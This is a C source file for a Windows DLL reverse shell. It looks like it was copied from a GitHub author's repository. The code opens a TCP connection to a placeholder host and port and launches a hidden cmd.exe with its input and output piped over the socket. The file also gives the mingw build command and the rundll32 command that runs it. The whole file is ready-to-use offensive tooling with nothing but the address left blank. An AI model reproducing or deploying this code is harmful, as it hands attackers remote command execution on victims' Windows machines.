RevShellDll.c

#include <winsock2.h>
#include <windows.h>
#include <io.h>
#include <process.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* ================================================== */
/*    Copied from https://github.com/izenynn          */
/*    All credits go to the original autho            */
/*  Change the parameters of the RunMe() function.    */
/* ================================================== */
//  x86_64-w64-mingw32-gcc RevShellDll.c -shared -lws2_32 -o RunMe.dll
//  rundll32.exe RunMe.dll,RunMe

static int R3vSh3ll(char *CLIENT_IP, int CLIENT_PORT) {

	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2 ,2), &wsaData) != 0) {
		write(2, "[ERROR] WSASturtup failed.\n", 27);
		return (1);
	}

	int port = CLIENT_PORT;
	struct sockaddr_in sa;
	SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	sa.sin_family = AF_INET;
	sa.sin_port = htons(port);
	sa.sin_addr.s_addr = inet_addr(CLIENT_IP);

	if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
		write(2, "[ERROR] connect failed.\n", 24);
		return (1);
	}

	STARTUPINFO sinfo;
	memset(&sinfo, 0, sizeof(sinfo));
	sinfo.cb = sizeof(sinfo);
	sinfo.dwFlags = (STARTF_USESTDHANDLES);
	sinfo.hStdInput = (HANDLE)sockt;
	sinfo.hStdOutput = (HANDLE)sockt;
	sinfo.hStdError = (HANDLE)sockt;
	PROCESS_INFORMATION pinfo;
	CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo);

	return (0);
}

void RunMe(){
	R3vSh3ll("<HostIP>", <PORT>);
}